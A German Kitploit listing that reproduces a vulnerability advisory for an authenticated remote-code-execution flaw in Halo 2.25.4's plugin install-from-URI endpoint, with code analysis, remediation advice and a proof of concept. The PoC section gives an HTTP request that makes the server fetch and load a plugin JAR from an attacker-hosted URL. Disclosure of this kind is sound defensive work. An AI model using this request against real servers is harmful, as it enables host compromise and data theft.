Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
halo-2.25.4-CVE-2026-67919 — Demonstriert eine authentifizierte Remote-Codeausführungs-Schwachstelle in Halo 2.25.4 über eine unvalidierte Plugin-URI-Installation, einschließlich technischer Analyse und Proof-of-Concept-Exploit. | Kitploit
Tools/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Demonstriert eine authentifizierte Remote-Codeausführungs-Schwachstelle in Halo 2.25.4 über eine unvalidierte Plugin-URI-Installation, einschließlich technischer Analyse und Proof-of-Concept-Exploit.

Repository anzeigen
vor 17 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Authentifizierte Remote-Codeausführung (RCE) über unvalidierte Plugin-URI-Installation in Halo 2.25.4

1. Zusammenfassung der Schwachstelle

Eine kritische Sicherheitslücke wurde in Halo Version 2.25.4 identifiziert. Die Anwendung stellt einen administrativen Endpunkt zur Installation oder Aktualisierung von Plugins über eine entfernte URI bereit. Das System validiert jedoch die Quelldomäne der URI nicht und verfügt über keinen Schutz gegen Server-Side Request Forgery (SSRF) für diese spezifische Komponente. Ein authentifizierter Angreifer mit Plugin-Verwaltungsrechten kann einen Link zu einer bösartig erstellten Plugin-JAR-Datei bereitstellen. Der Server lädt die JAR-Datei herunter, speichert sie temporär und lädt sie dynamisch in den JVM-Kontext unter Verwendung des PF4J-Frameworks und der DefaultPluginApplicationContextFactory von Spring. Dies ermöglicht die Ausführung nicht vertrauenswürdiger Erweiterungsklassen, was zu beliebiger Remote-Codeausführung (RCE) auf dem zugrunde liegenden Host-Betriebssystem führt.

2. Details zur Schwachstelle

  • Schwachstellentyp: Code-Injection / Remote-Codeausführung (RCE)
  • CWE-ID: CWE-94: Unzureichende Kontrolle der Codegenerierung ('Code Injection') / CWE-434: Uneingeschränkter Upload von Dateien mit gefährlichem Typ
  • Schweregrad: 🔴 Kritisch
  • Geschätzter CVSS-v3.1-Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • Betroffene Version: Halo 2.25.4 (und möglicherweise frühere Versionen, die eine URI-basierte Plugin-Installation unterstützen)
  • CVE-ID: CVE-2026-67919
  • 3. Betroffene Komponenten

    Bitte bei der Einreichung im CVE-Formular mit Kommas trennen:

    Plaintext

    root@kitploit:~
    PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
    

    4. Angriffsvektor

    Ein authentifizierter Administrator kann eine manipulierte HTTP-POST-Anfrage mit einer bösartigen Remote-Plugin-JAR-URL an den Endpunkt /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri senden.

    5. Technische Analyse & Angriffskette

    Die Remote-Codeausführung erfolgt über die folgende Abfolge von Operationen:

    1. Endpunkt-Aufnahme: Die Methode PluginEndpoint.installFromUri() verarbeitet den eingehenden Anfragetext (InstallFromUriRequest) und extrahiert die vom Benutzer bereitgestellte uri-Zeichenfolge. Es wird keine Domänen-Whitelist-Filterung angewendet.
    2. Ungeschützter Dateiabruf: Die extrahierte URI wird an DefaultReactiveUrlDataBufferFetcher.fetch(uri) übergeben. Im Gegensatz zu anderen internen Netzwerkkomponenten in Halo ruft dieser Fetcher nicht HttpSecurityUtils.secureHttpClient() auf und überspringt damit die Einschränkungen für interne private Netzwerke/Loopback-IPs (SSRF-Schutz).
    3. Lokale Dateipersistenz: Die vom Remote-URI gestreamten Inhalte werden über writeToTempFile(content) in ein lokales temporäres Verzeichnis auf dem Host-Server geschrieben.
    4. Dynamisches Klassenladen: Die Anwendung übergibt den temporären Pfad an pluginService.install(path), das den PF4J-JarPluginLoader verwendet, um die JAR-Datei zu entpacken und zu laden.
    5. Spring-Bean-Registrierung & Ausführung: Sobald PF4J das Laden des Kontexts abgeschlossen hat, analysiert die DefaultPluginApplicationContextFactory von Spring automatisch die Metadaten in der plugin.yaml des Plugins und registriert alle deklarierten Erweiterungsklassen als aktive Spring-Beans im Anwendungskontext.
    6. Auslösung der Codeausführung: Jeder bösartige Code, der in statischen Initialisierungsblöcken (static {}) der Erweiterungsklasse oder in mit @PostConstruct annotierten Methodenblöcken platziert ist, wird sofort während der Instanzerstellung über Runtime.getRuntime().exec() ausgeführt.

    Verwundbares Quellcode-Segment (PluginEndpoint.java Zeilen 422-428):

    Java

    root@kitploit:~
    var content = request.bodyToMono(InstallFromUriRequest.class)
        .map(InstallFromUriRequest::uri)
        .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // Unvalidated network fetch
    return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
    

    6. Proof of Concept (PoC)

    Schritt 1: Das bösartige Artefakt hosten

    Der Angreifer kompiliert eine standardmäßige PF4J/Halo-Plugin-JAR-Datei (poc-plugin.jar), die eine Erweiterungsklasse mit einem Payload-Ausführungsmechanismus in einem @PostConstruct-Lebenszyklus-Hook oder statischen Block enthält. Der Angreifer hostet sie auf einem externen Listener:

    Bash

    root@kitploit:~
    python3 -m http.server 9999
    

    Schritt 2: Auslösen der Schwachstelle

    Der authentifizierte administrative Benutzer sendet die folgende HTTP-Anfrage an den Ziel-Halo-Server:

    HTTP

    root@kitploit:~
    POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
    Host: <target-ip>:8090
    Authorization: Bearer <ADMIN_TOKEN_HERE>
    Content-Type: application/json
    
    {
      "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
    }
    

    Schritt 3: Erwartetes Ergebnis

    Der Server verarbeitet die Installation, ruft das Artefakt vom Server des Angreifers ab, registriert die Erweiterung und führt den kompilierten Systembefehl aus, wodurch der Ziel-Host kompromittiert wird.

    image
    image

    7. Auswirkungen

    • Systemkompromittierung: Vollständiger Zugriff auf die Hosting-Infrastruktur oder den Docker-Container mit den Berechtigungen des Anwendungsprozesses.
    • Datendiebstahl: Direkte Offenlegung von Backend-Datenbanken, sensiblen Anwendungsanmeldeinformationen, Konfigurationsschlüsseln (application.yaml) und gespeicherten Dateien.
    • Laterale Bewegung: Der Server kann als Sprungbrett für Angriffe auf interne Standortnetzwerke genutzt werden, da der Download-Mechanismus unter Umgehung der standardmäßigen Egress-Regeln auf Loopback- oder interne Infrastruktur-Endpunkte zugreifen kann.

    8. Empfehlungen zur Behebung

    1. Absolute Domänen-Whitelists durchsetzen: Strikte Validierungsregeln für das eingehende uri-Argument durchsetzen. Remote-Installationsschemata auf verifizierte, vertrauenswürdige offizielle Ökosystem-Marktplätze beschränken (z. B. https://awesome.halo.run).
    2. Sichere Fetcher integrieren: DefaultReactiveUrlDataBufferFetcher umgestalten, um das vorhandene Dienstprogramm HttpSecurityUtils.secureHttpClient() zu verwenden, um Anfragen an Loopback (127.0.0.1), Link-Local (169.254.169.254) oder private Klassennetzwerke (10.0.0.0/8, 192.168.0.0/16) zu verwerfen.
    3. Kryptografische Plugin-Verifizierung: Einen Standard für die digitale Signaturprüfung externer JAR-Module implementieren. Der JarPluginLoader-Kontext sollte Datei-Hashes oder kryptografische Signaturen gegen öffentliche Schlüssel validieren, die vom offiziellen Repository bereitgestellt werden, bevor sie zur Kontextinstanziierung an die DefaultPluginApplicationContextFactory übergeben werden.
    Tool herunterladen